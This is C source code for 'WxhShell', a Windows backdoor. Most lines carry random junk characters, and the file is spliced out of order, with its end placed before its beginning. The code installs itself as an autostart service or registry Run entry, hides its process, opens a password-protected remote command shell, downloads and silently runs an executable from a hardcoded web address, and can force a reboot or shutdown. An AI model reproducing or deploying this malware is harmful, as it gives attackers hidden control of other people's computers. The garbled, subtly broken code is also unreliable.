    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {dDU^7O  
    else { 8l6R.l  
    closesocket(wsh); 1QThAFN  
    ExitThread(0); = >9`qcNW_  
    } :v#3;('7  
    break; @C#lA2(I4  
    } gwyz)CUkL  
  // 获取shell R/=yS7@{)  
  case 's': { zrcSPh  
    CmdShell(wsh); 9"[#\TW9Vb  
    closesocket(wsh); hq|/XBd||  
    ExitThread(0); I?gbu@o  
    break; 09r.0Ks  
  } M%m$ 5[;n  
  // 退出 sNWj+T  
  case 'x': { /}Max@.`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k# /_Zd  
    CloseIt(wsh); kjH0u$n  
    break; rR xqV?>n!  
    } \7RP6o  
  // 离开 'Q# KjY  
  case 'q': { ].eGsh2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V<b"jCXI  
    closesocket(wsh); >5\rU[H>  
    WSACleanup(); j:g/[_0s  
    exit(1); @<_4Nb  
    break; b?z8Yp6  
        } LaRY#9  
  } 8D-g%Aj-  
  } =73wngw  
8d-_'MXk3  
  // 提示信息 HghNI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~%cbp&s*/q  
} E$gcd#rT  
  } (fC [Y  
Q!c*2hI  
  return; w1[F]|  
} a!;?!f-i  
?g 1%-F+  
// shell模块句柄 I%|W O*x  
int CmdShell(SOCKET sock) US-P>yF  
{ HA| YLj?|g  
STARTUPINFO si; y 2bZo'Z  
ZeroMemory(&si,sizeof(si)); YDP<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D+tn<\LF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  vO 3fAB  
PROCESS_INFORMATION ProcessInfo; 2|+**BxHD  
char cmdline[]="cmd"; e(cctC|l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n(&6 E3ZcI  
  return 0; vtmvvv  
} N]gdS]pP2{  
.pZwhb  
// 自身启动模式 ?_IRO|  
int StartFromService(void) A>Js`s  
{ C]82Mt  
typedef struct Jjv, )@yo  
{ 9M<{@<]dm  
  DWORD ExitStatus; d+$a5 [^9  
  DWORD PebBaseAddress; _&P![o)x  
  DWORD AffinityMask; b2hB'!m  
  DWORD BasePriority; ~b*f2UVs  
  ULONG UniqueProcessId; V1M oW;&  
  ULONG InheritedFromUniqueProcessId; k/Z}nz   
}   PROCESS_BASIC_INFORMATION; /_v@YB!0  
D3$}S{Yw1  
PROCNTQSIP NtQueryInformationProcess; El ,p}Bi.  
M(xd:Fa?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;a2TONW   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t\X5B]EZ  
U]O7RH  
  HANDLE             hProcess; r/SV.` k  
  PROCESS_BASIC_INFORMATION pbi; |oa 9 g2  
-W2 !_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L]cZPfI6  
  if(NULL == hInst ) return 0; a8''t_Dp  
vk&C'&uV9@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qlO(z5Ak  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z8Qmj5'[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ry8@U9B6,t  
l:%4@t`  
  if (!NtQueryInformationProcess) return 0; ?Jio9Zr  
YvRMUT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gz@'W%6yaV  
  if(!hProcess) return 0; $3k5hDA0e  
"*a^_tsT?i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /2 ')u|  
qdWsP9}q  
  CloseHandle(hProcess); v<$a .I(  
7EO/T,{a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s%GhjWZS  
if(hProcess==NULL) return 0; ewN!7  
zQ&`|kS  
HMODULE hMod; \:, dWL u  
char procName[255]; Cwl#(; @  
unsigned long cbNeeded; 0& 54xP  
)Z2HzjE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X H,1\J-S  
F<VoPqHq  
  CloseHandle(hProcess); dX?8@uzu  
Q)#+S(TG  
if(strstr(procName,"services")) return 1; // 以服务启动 lku}I4  
 `C9/=  
  return 0; // 注册表启动 eJlTCXeZ|  
} 3!ZndW SHV  
bd_&=VLTC  
// 主模块 0j@gC0xu)|  
int StartWxhshell(LPSTR lpCmdLine) <KlG#7M>  
{ XDRw![H,~  
  SOCKET wsl; M:YtW5{  
BOOL val=TRUE; kWZ?86!  
  int port=0; =J:6p-\*  
  struct sockaddr_in door; [9Q}e;T  
v2][gn+58  
  if(wscfg.ws_autoins) Install(); WW\t<O;z  
k` cz$>  
port=atoi(lpCmdLine); }&M$  
+zn&DG0\X  
if(port<=0) port=wscfg.ws_port; U= QfInB  
Z:j6AF3;  
  WSADATA data; {@ ygq-TZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {N!Xp:(<7_  
e:#c\Ay+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D',[M)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s~V%eq("}  
  door.sin_family = AF_INET; 9M8 n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WrP 4*6;"  
  door.sin_port = htons(port); KG=h!]Meq  
(r78AZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qRC-+k:  
closesocket(wsl); oP vk ^H  
return 1; ?Zu2=<DU  
} 0Rgo#`7l  
='"DUQH|*  
  if(listen(wsl,2) == INVALID_SOCKET) { HuzHXn)  
closesocket(wsl); `tZm  
return 1; csABfxib  
} ay4E\=k  
  Wxhshell(wsl); %\<SSp^n  
  WSACleanup(); a$-:F$z  
;c};N(2  
return 0; zI1-l9 o  
Qv4g#jX{  
} ksb.]P d.  
*c<0cHv*  
// 以NT服务方式启动 @'XxMO[Z!<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~ A?  
{ w&VMb&<  
DWORD   status = 0; 9OI&De5?=V  
  DWORD   specificError = 0xfffffff; b8o}bm{s  
/1OzX'5f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wd 86 y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /-J12O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $=) i{kGS@  
  serviceStatus.dwWin32ExitCode     = 0; <~D-ew^BU  
  serviceStatus.dwServiceSpecificExitCode = 0; $w%n\t>B  
  serviceStatus.dwCheckPoint       = 0; 57PoJ+  
  serviceStatus.dwWaitHint       = 0; [R-&5 G!x  
GO3F[ l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y367Jr@^N  
  if (hServiceStatusHandle==0) return; EkWipF(  
Wg\`!T  
status = GetLastError(); &\[3m^L  
  if (status!=NO_ERROR) =XbOY[  
{ xweV8k/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YI0ubB  
    serviceStatus.dwCheckPoint       = 0; 3"9'MDKH  
    serviceStatus.dwWaitHint       = 0; GP|G[  
    serviceStatus.dwWin32ExitCode     = status; ur*@TIvD  
    serviceStatus.dwServiceSpecificExitCode = specificError; (`nn\)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 35>VCjCw0  
    return; Ro1b (+H  
  } ea7l:(C  
<S/`-/= 2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LY> -kz]  
  serviceStatus.dwCheckPoint       = 0; 8~q%H1[I\N  
  serviceStatus.dwWaitHint       = 0; ;ndsq[k>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <Vu/6"DP  
} z^xrB$8 u  
cU`sA_f  
// 处理NT服务事件,比如:启动、停止 n+Bh-aV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [ vWcQ6m  
{ gt~hUwL  
switch(fdwControl) _DlkTi5(w  
{ 4|PNsHXt  
case SERVICE_CONTROL_STOP: \*24NB  
  serviceStatus.dwWin32ExitCode = 0; 1lAx"VL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7J:zIC$u>  
  serviceStatus.dwCheckPoint   = 0; @#wBK3Ut^  
  serviceStatus.dwWaitHint     = 0; Tno[LP,  
  { kaK0'l2%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G?`x$UU  
  } ]gxt+'iAFS  
  return; 8V]oR3'  
case SERVICE_CONTROL_PAUSE: ?$:;hGO.<~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7F=Xn@ _  
  break; ^&nC)T<w  
case SERVICE_CONTROL_CONTINUE: x^s2bb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X}!r4<;(  
  break; !sbKJ+V7  
case SERVICE_CONTROL_INTERROGATE: 4d\"gk  
  break; >=<qAkk  
}; '%k<? *  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c_oI?D9  
} [;IW'cXNq  
<M//zXa  
// 标准应用程序主函数 EqY e.dF,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }digw(  
{ m@qM|%(0x  
+@ '( N  
// 获取操作系统版本 KZK9|121  
OsIsNt=GetOsVer(); )T4%}$(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H[K(Tt4<&  
hX?rIx  
  // 从命令行安装 ( Lp~:p  
  if(strpbrk(lpCmdLine,"iI")) Install(); -85]x)JE  
~hJ/&,vH!  
  // 下载执行文件 u!iBAr5  
if(wscfg.ws_downexe) { J|ni'Hb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ubq4Zv7'   
  WinExec(wscfg.ws_filenam,SW_HIDE); hN~]$"@2  
} 8(GH.)I+0  
,(%?j]_P2  
if(!OsIsNt) { <4caG2~q  
// 如果时win9x,隐藏进程并且设置为注册表启动 m~upTQz  
HideProc(); 8|\0\Wd;vu  
StartWxhshell(lpCmdLine); ct,Iu+HJ  
} m5m'ByX(*  
else caK<;bmu-  
  if(StartFromService()) @O~  
  // 以服务方式启动 ;H%&Jht  
  StartServiceCtrlDispatcher(DispatchTable); T2;%@Ghc  
else hWzjn5w3  
  // 普通方式启动 . kv/db  
  StartWxhshell(lpCmdLine); 37 #|X*L  
KK}?x6wV0,  
return 0; 7N@4c   
} P|rsq|',  
Afpj*o  
i&|fGX?-I  
gH{X?  
=========================================== +3@d]JfMh  
yQ^k%hHa  
6mFH>T*jzH  
D)yCuw{M:  
XDtr{r6z  
d+ LEi^  
" :'\4%D=w  
[31vx0$_p  
#include <stdio.h> ^qs{Cf$  
#include <string.h> )X8?m <cG  
#include <windows.h> 3ug|H  
#include <winsock2.h> W%/lBkP  
#include <winsvc.h> fx W,S  
#include <urlmon.h> 50s)5G#  
^H0`UKE  
#pragma comment (lib, "Ws2_32.lib") fB \+.eN  
#pragma comment (lib, "urlmon.lib") ^uU'Qc4S=  
9t`Z_HwdCb  
#define MAX_USER   100 // 最大客户端连接数 MhE'_sq  
#define BUF_SOCK   200 // sock buffer 8 *Fr=+KN  
#define KEY_BUFF   255 // 输入 buffer sd (I@ &y  
-c^/k_n  
#define REBOOT     0   // 重启 -EwtO4vLJ  
#define SHUTDOWN   1   // 关机 Fx^e%":@ip  
/F>\-    
#define DEF_PORT   5000 // 监听端口 x~7_`=}rO  
>DHpD?Pm!  
#define REG_LEN     16   // 注册表键长度 aJnZco6  
#define SVC_LEN     80   // NT服务名长度 Z*/*P4\  
f87> ul!*  
// 从dll定义API 'rT@r:6fn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =Mg/m'QI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c1v,5c6d j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1|_8+)i;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Dv7/eRt  
f8>S<:  
// wxhshell配置信息 :z;}:+7n  
struct WSCFG { k\:f2%!!  
  int ws_port;         // 监听端口 8,E#vQ55}(  
  char ws_passstr[REG_LEN]; // 口令 |]qwD,eiH,  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1[QH68  
  char ws_regname[REG_LEN]; // 注册表键名 $VX<UK$|s  
  char ws_svcname[REG_LEN]; // 服务名 TEgmE9^`)7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;%Z%]nIS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Tum9Xa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^7l.!s#$b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [+=h[DC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T<p,KqH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T>"GH M  
Ek!$Ary  
}; 4r@dV%:%<  
\O]1QM94Y  
// default Wxhshell configuration <K8$00lm  
struct WSCFG wscfg={DEF_PORT, ` ,B&oV>  
    "xuhuanlingzhe", kg2?IL  
    1, 4o:  
    "Wxhshell", o=!3=2@dh  
    "Wxhshell", l:!4^>SC  
            "WxhShell Service", bL=32YS  
    "Wrsky Windows CmdShell Service", yPKDn.1  
    "Please Input Your Password: ", vt;<+"eps  
  1, 0:W*_w0Ge  
  "http://www.wrsky.com/wxhshell.exe", kNX(@f  
  "Wxhshell.exe" :#M(,S"Qq  
    }; UX-l`ygl  
8]DN]\\o  
// 消息定义模块 x6,kG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1dhp/Qh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; By3/vb)M5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )^&,[Q=i  
char *msg_ws_ext="\n\rExit."; Zi+>#kDV  
char *msg_ws_end="\n\rQuit."; ~I0I#_$'P  
char *msg_ws_boot="\n\rReboot..."; B_u+$Odo  
char *msg_ws_poff="\n\rShutdown..."; &Wj %`T{  
char *msg_ws_down="\n\rSave to "; .x__X3P>\  
l}>gG[q!  
char *msg_ws_err="\n\rErr!"; NN<kO#c+2  
char *msg_ws_ok="\n\rOK!"; t7VXW{3  
N=) E$h  
char ExeFile[MAX_PATH]; LK8K=AA3P  
int nUser = 0; >\Qyg>Md]  
HANDLE handles[MAX_USER]; WMB~? EDhv  
int OsIsNt; JwzA'[tM  
9v(&3,)a  
SERVICE_STATUS       serviceStatus; ]xf lfZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7y",%WYSD  
Qtmsk:qm  
// 函数声明 ~%Y*2i f  
int Install(void); _7SOl.5ZE  
int Uninstall(void); M ) 9Ss  
int DownloadFile(char *sURL, SOCKET wsh); RRaGc )B  
int Boot(int flag); {nH.  _  
void HideProc(void); JGaS`fKSk  
int GetOsVer(void); xACAtJ'gc  
int Wxhshell(SOCKET wsl); ~+VIELU<%  
void TalkWithClient(void *cs); (r cH\   
int CmdShell(SOCKET sock); Ez^U1KKOE7  
int StartFromService(void); /easmf]  
int StartWxhshell(LPSTR lpCmdLine); >6XGF(G   
?YY'-\h?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *iB_$7n`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V@jR8zv|_  
)W&H{2No  
// 数据结构和表定义 f=v +D0K$n  
SERVICE_TABLE_ENTRY DispatchTable[] = MVV9[f  
{ %g3@m5&  
{wscfg.ws_svcname, NTServiceMain}, 3@e#E4+ff  
{NULL, NULL} !+T9NqDv[  
}; wi]|"\  
|H&2[B"l  
// 自我安装 g/+P]c6/  
int Install(void) 8U B-(~  
{ mDmy637_  
  char svExeFile[MAX_PATH]; zBWn*A[4  
  HKEY key; brN:Ypf-e  
  strcpy(svExeFile,ExeFile); 4LYeacL B  
wU_e/+0h  
// 如果是win9x系统,修改注册表设为自启动 Q7`}4c)  
if(!OsIsNt) { qw[)$icP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [Q,E( s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uX@RdkC  
  RegCloseKey(key); h?2qX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4oLrCQZ\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ![os5H.b#q  
  RegCloseKey(key); =iy%;>I `  
  return 0; ^9eJ)12pK  
    } x|l[fdm5  
  } ))}w;w   
} 1btQ[a6j  
else { I%(`2 rD8G  
QK -_~9V  
// 如果是NT以上系统,安装为系统服务 XGZ1a/x;s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XW6Ewrm=vT  
if (schSCManager!=0) Y5fwmH,a-  
{ Ch607 i=  
  SC_HANDLE schService = CreateService > TG:}H(J  
  ( HT/zcd)}#  
  schSCManager, ,Z*?"d  
  wscfg.ws_svcname, \R45#. P6X  
  wscfg.ws_svcdisp, 6sb,*uSn%  
  SERVICE_ALL_ACCESS, vj<HthC.k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xg)cA C\=  
  SERVICE_AUTO_START, )sG`sET]`f  
  SERVICE_ERROR_NORMAL, F+Og8^!  
  svExeFile, +DS_'Tmr  
  NULL, ny17(Y =  
  NULL, $Jo[&,  
  NULL, q#Az\B:  
  NULL, KumbG>O  
  NULL F+R4nFA  
  ); Oqeoh<y!\  
  if (schService!=0) g$e b@0$  
  { ZRO   
  CloseServiceHandle(schService); 7Zp'}Om<I  
  CloseServiceHandle(schSCManager); [*w^|b ?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V%?oI]" l  
  strcat(svExeFile,wscfg.ws_svcname); zDY!0QZLF\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cYyv iR59#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,EW-21  
  RegCloseKey(key); HjKj.fV  
  return 0; zC6,m6Dv  
    } MIasCH>r  
  } {ScilT  
  CloseServiceHandle(schSCManager); tG(?PmQ  
} z c N1i^   
} EY;C5P4  
yWsV !Ub  
return 1; |Vc8W0~0  
} L%9DaK  
DLe?@R5  
// 自我卸载 qczGv2%!  
int Uninstall(void) "NSm2RU3  
{ QkUq%}_0  
  HKEY key; NxVqV5 '  
j[Uul#  
if(!OsIsNt) { 0XFJ/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O=8:K'  
  RegDeleteValue(key,wscfg.ws_regname);  .BJ;}  
  RegCloseKey(key); ac6Lv}w_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &'9 Jy'(X  
  RegDeleteValue(key,wscfg.ws_regname); a)GL z  
  RegCloseKey(key); *A.E?9pL\  
  return 0; H cwqVU  
  } %,$/wh)<V  
} qQ[&FjTO`  
} (1gfb*L  
else { sL]KBux  
3{ i'8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +[Nc";Oy  
if (schSCManager!=0) qT^R> p  
{ t a_!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5mdn77F_  
  if (schService!=0) d:}aFP[  
  { /10 I}3D  
  if(DeleteService(schService)!=0) { \Fj$^I>C  
  CloseServiceHandle(schService); L,V\g^4$K  
  CloseServiceHandle(schSCManager); <Hl.MS  
  return 0; v.H00}[.  
  } `sOCJ|rc5  
  CloseServiceHandle(schService); !q;EC`i#  
  } %YLdie6c  
  CloseServiceHandle(schSCManager); .^8 x>~  
} $]EG|]"Ns  
} 6f/>o$  
|k3ZdM  
return 1; ;=>4 '$8  
} 8?!=/Sc  
oUXu;@l  
// 从指定url下载文件 IT]D;  
int DownloadFile(char *sURL, SOCKET wsh) bS_fWD-  
{ p6u"$)wt  
  HRESULT hr; Tq[=&J  
char seps[]= "/"; 8xzEbRNJ)  
char *token; SbU=Lkx#  
char *file; YpMQY-n  
char myURL[MAX_PATH]; &NiDv   
char myFILE[MAX_PATH]; Dz;^'   
K*jV=lG  
strcpy(myURL,sURL); 7sZVN  
  token=strtok(myURL,seps); F`goYwA%  
  while(token!=NULL) ,\ zp&P"p  
  { +"rZ<i  
    file=token; 9MA/nybI  
  token=strtok(NULL,seps); v`evuJ\3  
  } YqwDvJWX  
gE'b.04Y9i  
GetCurrentDirectory(MAX_PATH,myFILE); .w2X24Mmb  
strcat(myFILE, "\\"); _!6~o>  
strcat(myFILE, file); OnFx8r:q@%  
  send(wsh,myFILE,strlen(myFILE),0); R}7>*&S:  
send(wsh,"...",3,0); 289teU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n.P$7%G`2  
  if(hr==S_OK) {t`UV,  
return 0; (cJb/|?3  
else GY 4?}T^s  
return 1; s,> 1n0a  
Es<id}`  
} 5-l cz)DO  
J&4LyIpQ  
// 系统电源模块 pv8"E?9,k  
int Boot(int flag) MFO}E!9`q  
{ $$`E@\5P  
  HANDLE hToken; i2`i5&*  
  TOKEN_PRIVILEGES tkp; -_BS!T%r  
e#]=-^  
  if(OsIsNt) { :c%vl$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "J^M@k\!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~jMdM~}  
    tkp.PrivilegeCount = 1; . OA_)J7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (wLzkV/6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rSDS9Vf(  
if(flag==REBOOT) { cU7 c}?J<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o mstJ9  
  return 0; | W:JI  
} >v^Bn|_/  
else { -N+'+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "Wd?U[[  
  return 0;  L>Bf}^  
} NidG|Yg~Z  
  } 8_WFSF^  
  else { TUzpln  
if(flag==REBOOT) { OV ~|@{6T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Pda(O;aNU  
  return 0; VKRj 1LXz  
} sxcpWSGA^  
else { bJ8G5QU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z7?C^m  
  return 0; RkP g&R;i  
} =\H.C@r  
} 3Tv;<hF  
>AIkkQT  
return 1; O@St^o*A}  
} )u~LzE]{_  
j2NnDz'  
// win9x进程隐藏模块 JJlwzH  
void HideProc(void) J8w#J  
{ Vh1{8'G Q  
c%Ht; sK`*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D/pc)3Ofe  
  if ( hKernel != NULL ) `h+ia/  
  { Kj;gxYD>6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sLh9= Kh`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); En%PIkxeR  
    FreeLibrary(hKernel); S;[g0j  
  } M;*f(JY$  
><9E^ k0.  
return; ]F kLtq  
} L ;5uB2  
xKIzEN &  
// 获取操作系统版本 "C 7-^R#  
int GetOsVer(void) bp Q/#\Z  
{ &x$1hx'  
  OSVERSIONINFO winfo; t>;u;XY!;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Stqlp<xy  
  GetVersionEx(&winfo); "i/ l'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Oi# F  
  return 1; xu[6h?u(h8  
  else 8/cD7O  
  return 0; Y(QLlJ*)/  
} Ia-`x/r*m  
E'qGKT  
// 客户端句柄模块 >g8H  
int Wxhshell(SOCKET wsl) D.?Rc'y D  
{ 9C[i#+_3M  
  SOCKET wsh; B;.]<k'3  
  struct sockaddr_in client; W.b?MPy]  
  DWORD myID; b,U"N-6  
./nq*4=  
  while(nUser<MAX_USER) QV/ o;  
{ WO{V,<;  
  int nSize=sizeof(client); hd*bPj ;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Kp[ F@A#  
  if(wsh==INVALID_SOCKET) return 1; Ul#||B .c{  
6}bUX_!&s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b z3 &  
if(handles[nUser]==0) `BA wef  
  closesocket(wsh); K cI'P(  
else Eshc"U  
  nUser++; 1I< <`7'  
  } JD1IL` ta;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2L}F=$zz  
kc#<Gr&Z&  
  return 0; }!{9tc$<b  
} ] ;X[xs  
QRb iO  
// 关闭 socket PYWp2V/  
void CloseIt(SOCKET wsh) \[</|]'[  
{ =ZdP0l+V=k  
closesocket(wsh); 7!.#:+rg5#  
nUser--; QR4!r@*=  
ExitThread(0); LliOhr4  
} 5P{PBd}glp  
/~`4a  
// 客户端请求句柄 [7d>c  
void TalkWithClient(void *cs) 26n+v(re  
{ 2S'{$m)  
@64PdM!L  
  SOCKET wsh=(SOCKET)cs; 20glz(  
  char pwd[SVC_LEN]; t# cm |  
  char cmd[KEY_BUFF]; .ET@J`"M  
char chr[1]; $kPC"!X\  
int i,j; >|h$d:~n  
zq ;YE  
  while (nUser < MAX_USER) { ^~iu),gu  
.{,PC  
if(wscfg.ws_passstr) { yTj!(C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .Y!] {c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p'PHBb8I  
  //ZeroMemory(pwd,KEY_BUFF); rGjP|v@3^  
      i=0; iDp'M`(6h  
  while(i<SVC_LEN) { uLok0"}  
ktQMkEj#  
  // 设置超时 7R W5U'B  
  fd_set FdRead; Ww8<f$  
  struct timeval TimeOut; %mLQ'$  
  FD_ZERO(&FdRead); bvVEV  
  FD_SET(wsh,&FdRead); 0K/?8[#  
  TimeOut.tv_sec=8; alu3CE  
  TimeOut.tv_usec=0; Q4;eN w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >^mNIfdE^=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )3h%2C1uM  
M'Fa[n*b?!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ySC;;k'  
  pwd=chr[0]; Aj| Gqw>  
  if(chr[0]==0xd || chr[0]==0xa) { e)Q{yO  
  pwd=0; 7S"W7O1>  
  break; .Pz( 0Y  
  } x\/N09  
  i++; 3]Jl\<0  
    } VXr'Z  
j,@N0~D5  
  // 如果是非法用户,关闭 socket []opPQ 1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vaj4p""\F  
} a~#MMl  
P<&-8QA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jkz .qo-%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hEG-,   
?9jl8r>  
while(1) { `$V7AqX(  
V4c$V]7  
  ZeroMemory(cmd,KEY_BUFF); >GRL5Iow  
e+Qq a4  
      // 自动支持客户端 telnet标准   cY&SKV#  
  j=0; /{|<3CEe  
  while(j<KEY_BUFF) { EvA{@g4>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W*D]?hXU;  
  cmd[j]=chr[0]; 0MV^-M   
  if(chr[0]==0xa || chr[0]==0xd) { 3I|&}+Z6  
  cmd[j]=0; O3U6"{yJ)  
  break; : z=C   
  } E: EXp7  
  j++; Z^P]-CB|6A  
    } Jptzc:~B  
B.:DW3  
  // 下载文件 _,S L;*G4|  
  if(strstr(cmd,"http://")) { T(< [k:`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8#NI`s*  
  if(DownloadFile(cmd,wsh)) qx#k()E.U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oH;0_!  
  else o: \&4z&=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *hJ&7w ~  
  } <:v2 N/i  
  else { [A@K)A$f  
8|:bis~wm  
    switch(cmd[0]) { )(&Z&2~A  
